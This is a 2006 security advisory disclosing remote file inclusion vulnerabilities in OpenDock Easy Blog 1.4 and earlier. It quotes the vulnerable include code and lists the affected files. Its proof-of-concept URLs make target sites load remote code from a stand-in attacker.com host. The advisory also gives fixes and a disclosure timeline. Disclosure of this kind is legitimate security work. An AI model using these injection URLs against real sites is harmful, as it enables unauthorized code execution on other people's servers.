[ECHO_ADV_50$2006]OpenDock Easy Blog <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability

ECHO_ADV_50$2006

[ECHO_ADV_50$2006]OpenDock Easy Blog <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability

Author : Dedi Dwianto a.k.a the_day
Date Found : October, 09th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv50-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:

Application     : OpenDock Easy Blog
version         : <=1.4
URL             : http://web.opendock.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

In folder sw/lib_up_file/ I found vulnerability script file.php
--------------------------file.php---------------------------------------
....
<?

 include $doc_directory.$path_sw."lib_up_file/lib_file.php";
 include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
 include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
 include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
 include $doc_directory.$path_sw."lib_up_file/find_file.php";
 include $doc_directory.$path_sw."lib_up_file/down_stat.php";

...
----------------------------------------------------------

Input passed to the "$doc_directory" parameter in file.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

sw/lib_up_file/down_stat.php
sw/lib_up_file/file.php
sw/lib_up_file/find_file.php
sw/lib_up_file/lib_read_file.php
sw/lib_up_file/lib_form_file.php
sw/lib_comment/find_comment.php
sw/lib_comment/comment.php
sw/lib_comment/lib_comment.php
sw/lib_find/find.php
etc..



Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $doc_directory on affected files.
- Turn off register_globals

Timeline:
~~~~~~~
09 - 10 - 2006 Bugs Found
09 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

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Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ [email protected]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
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